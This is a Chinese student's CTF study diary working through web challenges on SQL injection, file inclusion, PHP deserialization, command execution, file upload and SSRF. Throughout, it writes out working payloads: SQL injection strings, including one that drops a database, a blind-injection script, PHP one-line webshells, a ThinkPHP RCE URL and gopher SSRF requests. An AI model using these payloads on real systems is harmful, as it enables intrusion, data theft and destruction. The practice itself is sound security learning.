尽管进了SCUACM冬季集训队。。。
但某花也想学CTF。。。
听学长说,web比较好入门。。。
那就从web开始吧!
感觉CTF门槛比较高,我打算以题代学,先多做一些题,大概了解Web,然后再看书!
[极客大挑战 2019]EasySQL
Web第一题。。。不会做QwQ
原来是SQL注入啊。。。那是什么。。。
嗯。。那就去学一下SQL吧。。
看了一些基础的语法,就去学sql注入了。。。
好像有个万能密码表
语言 | 万能密码 |
PHP | ' or 1='1 |
asp,aspx | "or "a"="a |
jsp | 1’or’1’=‘1 admin’ or 1=1/* |
然后选一个PHP的万能密码试一下。。
发现成功了QwQ好神奇。。
原理:
原来应该是select name,pass from tbAdmin where name='admin' and pass='123456'
后来我输入了万能密码,变成了select name,pass from tbAdmin where name='' or 1='1' and pass='' or 1='1'
1等于'1'恒为真,所以成功了。。。
好神奇。。
像admin' or '1'='1也是一样的道理。
那我再构造一个用户名' or 1='1' -- password=
--表示注释,这样密码就可以随便输了OvO
还可以' or 1='1'; DROP DATABASE (DB NAME) --
嗯。。
怎么防御呢。。?
可以检查变量输入的格式,特殊符号过滤和转义处理
还有就是预编译。。。以后再好好看。。。
参考资料:https://www.cnblogs.com/myseries/p/10821372.html
[HCTF 2018]WarmUp
Web第二题。。。
看网页源代码发现有个source.php
打开果然发现有东西。。。可惜某花不会PHP。。。那就去学吧。。
in_array($page, $whitelist)判断的是$page在不在whitelist的值里面
mb_substr(str,begin,length)截取中文字符串,英文:substr
mb_strpos(A,B):返回要查找的字符串(B)在另一个字符串(A)中首次出现的位置,下标从0开始
并置运算符 (.) 用于把两个字符串值连接起来
urldecode就是URL解码。。
感觉大概意思就是传入一个file变量,URL解码后第一个问号前的字符串是source.php或hint.php
然而这个变量是什么呢。。。
试了一下file=hint.php%3Fffffllllaaaagggg未果。。。
去查答案了。。
原来是因为我们不知道ffffllllaaaagggg到底在哪个文件夹里。。。所以要不断../这样试。。。
不过退多了就不会再退了
最后是file=hint.php?../../../../../ffffllllaaaagggg
[极客大挑战 2019]Havefun
Web第三题。。。
查看源代码,然后输入?cat=dog就A了。。?
?????????
[ACTF2020 新生赛]Include
Web第四题。。。打开网站后就一头雾水。查看源代码也什么都看不出来。。
毫无思路。。直接看答案了。。。
答案说是什么文件包含。。?
大概有点明白了OvO
个人理解是include一个文件的漏洞。。?
反正有印象了。。。原理还不是很清楚。。。
?file=php://filter/read=convert.base64-encode/resource=flag.php
[强网杯 2019]随便注
Web第五题。。看来是sql注入。。
输了万能密码。。然后跳出三个数组。。
又不会了。。
看答案了,原来是SQL堆叠注入。。不知道是什么。。
还要预编译。。对着教程做出来了。。但是。。感觉对SQL操作还不是很懂。。。
1;Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
[ACTF2020 新生赛]Exec
Web第6题。。应该不是sql注入了。。。
毫无思路。。
看答案了。。
这是一道没有任何过滤的命令执行题。。。
[SUCTF 2019]EasySQL
Web第七题。。。还是不会。。。。。。。。。。。。。
注入怎么学啊QwQ
对着答案操作一遍。。。。。
看了CTFwiki,发现应该从攻防世界开始刷题。。。
还是攻防世界的题比较友好!
view_source
就是F12查看源代码
robots
就是查看/robots.txt,这个东西
robots协议是告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的。
backup
如果网站存在备份文件,常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf” 尝试在URL后面,依次输入常见的文件备份扩展名。
cookie
按F12,然后发现这个。。不知道为什么。。。

然后跳出了一个这个。。。

在网络的消息头里看到了这个。。

disabled_button

把disabled改成abled就行了。。?后来看了writeup发现直接删了就行了。。。
weak_auth
输了123456才做出来。。。
不会用BurpSuite.............
UPD:有点会用了,对着教程操作了一遍
simple_php
PHP弱比较
php弱类型比较
php中其中两种比较符号:
==:先将字符串类型转化成相同,再比较
===:先判断两种字符串的类型是否相等,再比较
字符串和数字比较使用==时,字符串会先转换为数字类型再比较
var_dump('a' == 0);//true,此时a字符串类型转化成数字,因为a字符串开头中没有找到数字,所以转换为0
var_dump('123a' == 123);//true,这里'123a'会被转换为123
var_dump('a123' == 123);//false,因为php中有这样一个规定:字符串的开始部分决定了它的值,如果该字符串以合法的数字开始,则使用该数字至和它连续的最后一个数字结束,否则其比较时整体值为0。
举例:
var_dump('123a1' == 123);//true
var_dump('1233a' == 123);//false
get_post
有点像一道SCU新生赛的题,反正用hackbar就行了
webshell

下面那个就是传说中的一句话木马
@表示忽略后面这句话的错误,eval表示执行post的语句。
相当于你在shell里面可以想干嘛就干嘛
用hackbar整一下

然后再这样

也可以用中国蚁站
连接密码就是shell
command_execution
我想到了之前的一道命令执行题,但我ls了一下结果什么也没看到。。
原来是要用find来找flag.txt。。。

看来我对linux命令还不熟。。。
xff_referer
整了好久。。。
XFF就是访问的IP,Referer是访问来源的网址
但他们都是能被修改的。。。
用BS抓包,然后改改改

注意包头和包内容之间有一个空行
simple_js
不会js代码审计
摘录一下WP
阅读代码,逐步整理。
整理 JS 代码得到:
function dechiffre(pass_enc) {
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i, j, k, l = 0, m, n, o, p = "";
i = 0;
j = tab.length;
k = j + (l) + (n = 0);
n = tab2.length;
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
p += String.fromCharCode((o = tab2[i]));
if (i == 5) break;
}
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
if (i > 5 && i < k - 1) p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
去除无用变量得到:
function dechiffre() {
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab2 = pass.split(',');
var i, n, p = "";
n = tab2.length;
for (i = 0; i < n; i++) {
p += String.fromCharCode(tab2[i]);
if (i == 5) break;
}
for (i = 0; i < n; i++) {
if (i > 5 && i < n - 1) p += String.fromCharCode(tab2[i]);
}
p += String.fromCharCode(tab2[17]);
return p;
}
合并两个循环得到:
function dechiffre() {
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab2 = pass.split(',');
var i;
var p = "";
for (i = 0; i < tab2.length - 1; i++) {
p += String.fromCharCode(tab2[i]);
}
p += String.fromCharCode(tab2[17]);
return p;
}
末尾并入循环得到:
function dechiffre() {
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab2 = pass.split(',');
var i;
var p = "";
for (i = 0; i < tab2.length; i++) {
p += String.fromCharCode(tab2[i]);
}
return p;
}
就逻辑上可见它只是将内容为逗号分隔的数字的字符串转成相应编码的字符串。
将代码修改,用下方的可疑字符串代替函数中的常量,得到的整个网页代码是:
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre() {
var pass = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30";
var tab2 = pass.split(',');
var i;
var p = "";
for (i = 0; i < tab2.length; i++) {
p += String.fromCharCode(tab2[i]);
}
return p;
}
alert(dechiffre());
</script>
</head>
<body></body>
</html>
保存为以HTML后缀的文件再用浏览器打开即可见结果。
(原来FromCharCode表示将UniCode编码转成一个字符啊。。。)
成功刷完攻防世界上Web的新手区!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
然后又做了几道进阶区的题
baby_web
第一次自己用BS做出一道题。。
就是输入index.php然后抓包,发送到repeater,查看response。。。
warmup
以前做过了。
Training-WWW-Robots
直接看robots.txt就行了。。
PHP2
这题我不会了。。。
看了一眼答案,原来是index.phps里泄露了index.php的源码...

就是id解码后的值是admin而id自己不能是admin
然后就是利用浏览器编码和URLdecode结合利用的二次编码注入绕过,payload构造为%2561dmin,浏览器会先把非ASCII码字符%25进行编码变成%,然后urldecode将%61编码为a,最后形成了admin绕过
不管了打球去了~~~
要期末考了。。先咕一段时间。。。
复习计算机系统导论顺便学了一下sql
Web_php_unserialize
期末考不复习了。。看题目知道,这题是PHP反序列化,然后去学习一下
构造了O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
结果错了。。
学了一下正则表达式...
还是看答案了。。
正则表达式if (preg_match(’/[oc]:\d+:/i’, $var)的意思是
[oc] 匹配o或者c
\d 匹配任意一个10进制的数
+ 匹配前面的字符 1-N 次
i 表示不区分大小写
所以要绕开正则表达式和__wakeup,构造出
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
+4绕开正则表达式,2绕开了__wakeup(2比属性数量(1)多)
但我转成base64后还是错了。。。
查了一下。。
这里的file变量为私有变量(protected变量应该也会),所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大2,如果将序列化结果复制到在线的base64网站进行编码可能就会丢掉空白字符,从而得到错误的编码值
所以应该用PHP自带的base64加密。。。
PHP_rce
先去学rceOvO
发现这道题打开就是个广告。。。毫无思路。。。
看答案了。。。
原来是ThinkPHP以前版本的漏洞。。。(公开处刑)
对着答案操作了一下。。
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20flag
然后执行
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
Web_php_include
我猜是要PHP伪协议,然后注意到strstr和str_replace都区分大小写!!!
可是输入?page=PHP://filter/read=convert.base64-encode/resource=index.php再解码什么也没弄出来。。。
看答案了QwQ
PHP://input竟然可以直接getshell!!!
伪协议还是慢慢学吧QwQ
supersqli
做过了。。。
CTFHUB HTTP协议:请求方式
直接用burpsuite了,把GET改成CTFHUB就过了。
CTFHUB HTTP协议:302跳转
这种题做过很多次了。。不想再写了。。
CTFHUB HTTP协议:Cookie
不会做QwQ,原来是自己的cookie已经是admin了,只要让admin=1就可以了。。。

看到了一个有趣的资料:
三、cookie和session结合使用:
web开发发展至今,cookie和session的使用已经出现了一些非常成熟的方案。在如今的市场或者企业里,一般有两种存储方式:
1、存储在服务端:通过cookie存储一个session_id,然后具体的数据则是保存在session中。如果用户已经登录,则服务器会在cookie中保存一个session_id,下次再次请求的时候,会把该session_id携带上来,服务器根据session_id在session库中获取用户的session数据。就能知道该用户到底是谁,以及之前保存的一些状态信息。这种专业术语叫做server side session。
2、将session数据加密,然后存储在cookie中。这种专业术语叫做client side session。flask采用的就是这种方式,但是也可以替换成其他形式。
CTFHUB HTTP协议:基础认证
Burp Suite暴力破解

注意要取消勾选,不然=会被转成%3D(所以我第一次就破了个寂寞)
竟是直接看源码。。。。

把HTTP协议整完了。。

CTFHUB 信息泄漏 目录遍历:
直接一个个找就好了。。我还以为要蚁剑之类的。。
贴一个别人的脚本以后慢慢学
# _*_ coding:utf-8 _*_
import requests
url = "http://challenge-88fe15103038d8b0.sandbox.ctfhub.com:10080/flag_in_here"
for i in range(5):
for j in range(5):
url_final = url + "/" + str(i) + "/" + str(j)
r = requests.get(url_final)
r.encoding = "utf-8"
get_file=r.text
if "flag.txt" in get_file:
print(url_final)
CTFHUB 信息泄漏 PHPINFO
直接c+f找flag。。
但关于不同的PHP版本,这篇文章比较有意思,现在还是有很多看不懂。。。
CTFHUB 信息泄漏 备份文件下载 网站源码

我用burpsuite来看看能不能找到文件。。。
找到了flag_943819718.txt还要输到网址里去。。。
嘛原来有dirsearch这种东西。。。
CTFHUB 信息泄漏 备份文件下载 bak文件
直接输index.php.bak就行了。。
CTFHUB 信息泄漏 备份文件下载 vim缓存
输入.index.php.swp(带.是因为文件隐藏)
下载文件后用vim -r打开
CTFHUB 信息泄漏 备份文件下载 .DS_STORE
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
使用Python-dsstore工具查看
CTFHUB 信息泄漏 Git泄漏 log
对着答案操作了一遍QwQ
CTFHUB 信息泄漏 GIT泄漏 STASH
参考了一下git-stash用法小结,然后做出来了。
CTFHUB 信息泄漏 GIT泄漏 INDEX
???直接用GITHACK就加载出来了。。?
CTFHUB 信息泄漏 SVN泄漏
我连SVN是什么都不知道。。。
对着答案操作了一遍。。
GITHUB 信息泄漏 HG泄漏
HG是什么。。
反正像上一题一样的自己操作了一下。。
原来手工解决就是把flag_xxxxx.txt输到网址里去啊QwQ
有个东西叫curl。。?
CTFHUB 密码口令 弱口令
BS爆破一下
CTFHUB 密码口令 默认口令
百度查一下亿邮的默认口令
CTFHUB SQL注入 整数型注入
不知道为什么叫整数型注入。。。
看了从0到1,感觉讲得很详细!
这道题有很多有趣的点!
1、查看有几个id有效:
输入1 or 1=1,结果只有一项,因为PHP代码决定了该页面只显示一行记录。
可以用limit函数!limit x,y表示从第x项(从0开始记)开始输出y个。
2、如何查询本数据库其他信息?
information_schema中有所有数据库名,表名,字段名。
-1 union select database(),1
-1 union select 1,group_concat(table_name) from information_schema.tables
where table_schema=database()
-1 union select 1,group_concat(column_name) from information_schema.columns
where table_name='?'
table_name是tables表的表名字段,table_schema是数据库名字段
1,是为了补全两列内容
CTFHUB SQL注入 字符型注入
跟整数型注入差不多,就是要注意--后要有空格
怎么判断是整数型还是字符型?整数型:3-1=2,字符型:2a=2
CTFHUB SQL注入 报错注入
对着从0到1做出来了QwQ
updatexml的第二个参数应该是合法的XPATH,否则报错时会输出传入的参数,只能爆32位。。
1 or updatexml(0,concat(1,(查询语句)),1)
1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
update:这里的x相当于as x
CTFHUB SQL注入 布尔盲注
继续看从0到1。。
贴个脚本
import requests
import time
urlOPEN = 'http://challenge-你自己环境的连接.sandbox.ctfhub.com:10080/?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
print(name)
break
print('database_name:',name)
database_name()
def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)
#start = time.time()
table_name()
#stop = time.time()
#starOperatorTime.append(stop-start)
#print("所用的平均时间: " + str(sum(starOperatorTime)/100))
def column_name():
list = []
for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,9): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)
column_name()
def get_data():
name=''
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)
get_data()
sqlmap -u 登录的地址 -dbs
sqlmap -u 输入地址 -D sqli --tables
sqlmap -u 地址 -D sqli -T flag --columns --dump
sqlmap -u 地址 -D sqli -T flag -C flag –dump
获取数据库名字长度与表名长度与字段数与字段长度
1 and (length(database()))> 5
1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
1 and (select count(*)from information_schema.columns where table_name=‘XXXX’)>5
1 and (select length(column_name)from information_schema.columns where table_name=‘XXX’ limit 0,1)>5
CTFHUB SQL注入 时间盲注
这个要用if语句了。。
if语句:if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
比如我们想看看数据库名是不是还是flag..
可以构造payload:1 and if(databases()='sqli',sleep(3),1)
然后用sqlmap就行了!
sqlmap好慢啊我等的都睡着了。。。
后天要考思政了。。。而我根本不想看。。。救命。。。

CTFHUB SQL注入 MYSQL结构
挺简单的一道题,感觉就是sqlmap的小测验
攻防世界 ics-06
穿插一道题QwQ
以前不会做。。现在看到url里的id以为是sql注入,结果是BS暴力查询。。
然而我的BS好慢啊。。。大概是因为社区版的缘故。。?
攻防世界 NewsCenter
用sqlmap跑post注入
CTFHUB SQL注入 COOKIE注入
如题。。用sqlmap跑了个寂寞....
最后参考这个还是整出来了。。。
注意点:1、要开--level 2;2、要-- cookie="XXX" XXX为BS中cookie的注入点
[极客大挑战 2019]LoveSQL
直接sqlmap了。。。。sqlmap真香。。。
该看思修了。。。后天期末考
CTFHUB SQL注入 UA注入
英语期末考GG
用BS抓包然后修改UserAgent。。。
[ACTF2020 新生赛]BackupFile
用dirsearch找到了备份文件。。
其实应该直接找到index.php.bak的。。。经验不足吧QwQ
CTFHUB SQL注入 REFER注入
一开始用BS直接抓包然后sqlmap搜了个寂寞
原来只有用post请求时才会看referer
所以先用hackbarPOST一个id=1然后再抓包。。。
而且level要调到3
其实直接hackbar就可以手动注入了。
sqlmap慢死了。。。
天呐它在对database做时间盲注。。。
[极客大挑战 2019]Secret File
BS抓包。。再PHP伪协议。。
CTFHUB SQL注入 过滤空格
用/**/代替空格就可以了
从零到一上还有几种URL的方法。
[极客大挑战 2019]Knife
这题最大的难度在于在mac M1上装蚁剑。。。
但我蚁剑还不是很会用
以后学学Weevely怎么用
[极客大挑战 2019]Http
思政实在看不进。。
复习了一下Referer,UA,XFF
[HCTF 2018]admin
弱密码爆破。。
[极客大挑战 2019]BuyFlag
BS抓包
cookie里的user=1..
注意post的值要空一行,还要加Content-Type: application/x-www-form-urlencoded
然后就好了OvO
CTFHUB 文件上传 无验证
思修GG了
很有趣的一道题,直接上传一句话木马。。然后蚁剑连接就行了。。
<?php
echo "123";
@eval(@$_POST['a']);
?>
CTFHUB 文件上传 前端验证
两种方法:1、直接把JS验证删了。。。2、上传.php.jpg然后BS抓包改后缀
CTFHUB 文件上传 文件头检查
这道题检查了文件头QwQ
可以在php的头上加上png的标记,然后把php改后缀
再BS抓包改后缀
一个模板被WP屏蔽了很遗憾不能传上来。。。
CTFHUB 文件上传 .htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
不会做QwQ参考资料
CTFHUB 文件上传 MIME绕过
用文件头绕过的方法。。对了。。。
原来应该是改Content-Type来绕过。。。

CTFHUB 文件上传 00截断
不会做。。。参考资料
CTFHUB 文件上传 双写后缀
这个比较简单,看源码就知道了OvO
[ACTF2020 新生赛]Upload
不会做QwQ
发现自己其实只学了皮毛。。。
前端的限制可以直接改js来绕过
发现php传不上去。。以为要00截断结果截不出来。。
结果是用phtml。。?贴一个模板
GIF89a //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language='php'>@eval($_POST['ye']);</script>
<script language='php'>system('cat /flag');</script>
别人的总结:
- 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
- %00截断绕过
- php3文件
- php4文件
- php5文件
- php7文件
- phtml文件
- phps文件
- pht文件
[极客大挑战 2019]Upload
同上。。。
[MRCTF2020]你传你🐎呢
有趣的题目。。。方法是先传.htaccess。。。再传PNG。。
SetHandler application/x-httpd-php
感觉这种题知道是传码就一个个试。。。
[极客大挑战 2019]PHP
反序列化应该这样构造。。。
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3或其他值
?>
[BJDCTF2020]Easy MD5
一开始以为是弱密码然后没爆出来。。。
看了答案。。。原来response的header头里有提示。。。
select * from 'admin' where password=md5($pass,true)
这里pass是ffifdyop
大概是md5加密后就变成了字符型注入
后面的if($a != $b && md5($a) == md5($b))
可以用数组?a[]=1&b[]=2或0e那个绕过。。
最后的if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
也是数组绕过。。。param1[]=1¶m2[]=2
因为MD5遇到数组直接返回NULL
有趣的细节:
BS传有符号的东西的时候加的是Content-Type: application/x-www-form-urlencoded,而且[]要转成URLcode,&不用
[GXYCTF2019]Ping Ping Ping
经验还是不够。。。
符号被屏蔽了不代表$一定会被屏蔽。。。
要去response里看结果
[MRCTF2020]Ez_bypass
挺简单的。。。
攻防世界 upload1
。。。
攻防世界 unserialize3
。。。就当是复习吧。。。
CTFHUB RCE eval执行
英语期末考没G。。。数学感觉也还行。。
嘛就是通过cmd来传PHP命令OvO
注意要有分号!!!!还有ls /
嘛不知为什么不能传一句话木马。。。
CTFHUB RCE 文件包含
就是include那个shell.txt然后eval执行。。。
CTFHUB RCE php://input
就直接php://input呗。。。post传php命令
CTFHUB RCE 读取源代码
file=php://filter/read=convert.base64-encode/resource=/flag
CTFHUB RCE 远程包含
就是php://input....
CTFHUB RCE 命令注入 无过滤
我还是太菜了。。。没想到flag在源码里。。。。
CTFHUB RCE 过滤cat
...我的方法是加反斜杠。。
看到了一个网上的做法。。。
127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php
127.0.0.1;g=a;c${g}t flag.php
update:可以用base64!!!
echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+ |base64 -d >> basetry.php
CTFHUB RCE 过滤空格
反正就是$IFS$1
CTFHUB RCE 过滤目录分隔符
直接写一句话木马了。。。
也可以cd再cat
CTFHUB RCE 过滤运算符
过滤了个寂寞
CTFHUB RCE 综合过滤练习
慢慢弄呗。。。
如果;&|都被过滤了那么就在URL输入%0a来分隔
去科技馆玩啦~
CTFHUB SSRF 内网访问
思政GG。。主不在乎
至少某花的寒假开始啦~~~
。。。url直接输127.0.0.1就行了。。。
CTFHUB SSRF 伪协议读取文件
一直在尝试PHP伪协议和data伪协议,未果
结果这题是URL伪协议
URL伪协议一般是
- file:///
- dict:///
- sftp://
- ldap://
- tftp://
- gopher://
这题是file伪协议。。直接输绝对路径就行了
?url=file:///var/www/html/flag.php
CTFHUB SSRF 端口扫描
就Burpsuite直接扫。。。
我的社区版慢死了。。。
记得关URLencode。。。。
CTFHUB SSRF URL Bypass
。。。不会做。。。
看答案了。。是构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
HTTP 基本身份认证是允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
不是很懂。。。
摘录一下别人的整理:
url跳转bypass:
1.利用问号绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过
还有一个有趣的参考资料
CTFHUB SSRF 数字IP Bypass
方法挺多的。。。
一种是http://localhost/flag.php
或者用十六进制。。。?url=0x7f000001/flag.php
CTFHUB SSRF 302跳转 Bypass
感觉这种题目都要先读源码啊。。。
反正我按照上一题的做法对了。。。
应该是用短网址。。。但我不会。。。
CTFHUB SSRF DNS重绑定 Bypass
用十六进制绕过做出来了。。。
答案还不是很懂。。
CTFHUB SSRF POST请求
我微积分期末考好像AK了。。。
根据经验,先读源码

去请教了wky。。。才有点明白了。。。
首先ssrf是什么呢。。就是利用一个内网里的主机去访问内网的东西
下图中url里应该输一个网址,不然curl不到。。所以要用127.0.0.1/flag.php。XFF是告知来源的。。。


还有就是index.php里的curl不会传POST的值。。所以要用gopher伪协议。。。
整了好久好久。。。终于整出来了。。。
反正就是要传这个
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=a270a5711401761ff83e3b298482ecf7
URL编码两次!第一次把换行弄成%0D%0A
注意key之前还有个换行。。。
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Da270a5711401761ff83e3b298482ecf7
最后再传入
GET /?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Da270a5711401761ff83e3b298482ecf7
终于整出来了。。。。。
CTFHUB SSRF 文件上传
一开始url里输入了flag.php。。无果
应该输127.0.0.1/flag.php
然后手动加代码实现提交文件。。
<input type="submit" name="submit">
然后上传一个文件。。抓包
POST /flag.php HTTP/1.1
Host: challenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------213803860115851786644256218851
Content-Length: 381
Origin: http://challenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------213803860115851786644256218851
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/php
<?php
echo "123";
@eval(@$_POST['a']);
?>
-----------------------------213803860115851786644256218851
Content-Disposition: form-data; name="submit"
Submit Query
-----------------------------213803860115851786644256218851--
像之前一样转两次url就可以了
GET /?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520challenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520(Macintosh%253B%2520Intel%2520Mac%2520OS%2520X%252010.15%253B%2520rv%253A96.0)%2520Gecko%252F20100101%2520Firefox%252F96.0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Favif%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250D%250AAccept-Language%253A%2520en-US%252Cen%253Bq%253D0.5%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------213803860115851786644256218851%250D%250AContent-Length%253A%2520381%250D%250AOrigin%253A%2520http%253A%252F%252Fchallenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com%253A10800%252F%253Furl%253D127.0.0.1%252Fflag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------213803860115851786644256218851%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522a.php%2522%250D%250AContent-Type%253A%2520text%252Fphp%250D%250A%250D%250A%253C%253Fphp%250D%250Aecho%2520%2522123%2522%253B%250D%250A%2540eval(%2540%2524_POST%255B%2527a%2527%255D)%253B%250D%250A%253F%253E%250D%250A%250D%250A-----------------------------213803860115851786644256218851%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250ASubmit%2520Query%250D%250A-----------------------------213803860115851786644256218851-- HTTP/1.1
后面的都好难啊。。。想先放放。。。我感觉我可以开始看一些书了。。。
攻防世界 NaNNaNNaNNaN-Batman
不会做。。
嘛就是下载了一堆乱码。。。然后猜测是html就改后缀名。。。
然后eval改成alert...
就可以看源码了。。。
攻防世界 ICS05
感觉把水题都做完了。。。
反正就是对着答案操作一遍。。。
一点经验:LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
明天开始看从零到一OvO
CTFHUB SSRF Redis协议
算了过几天再看书。。。
对着教程用gopherus做出来了OvO
CTFHUB SSRF FastCGI协议
对着答案操作了一遍。。。
[极客大挑战 2019]BabySQL
一道完全自己做出来的SQL注入OvO
泪目了
关键在于试探出它关键词的过滤方式
最后注意一下单引号!!!
记事本的单引号不是正常的单引号。。
[GYCTF2020]Blacklist
回杭州了OvO
最近有点颓
嘛这题是堆叠注入。。
一直showshowshow就可以了。。。
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
然后。。。
HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
我也不知道为什么。。。
[RoarCTF 2019]Easy Calc
不会做QwQ
参考了这个
一些想法:这题的calc.php中可以看出判断输入是不是式子不是在calc.php里,所以考虑加空格。
这题似乎不能用system函数。。。
[SUCTF 2019]CheckIn
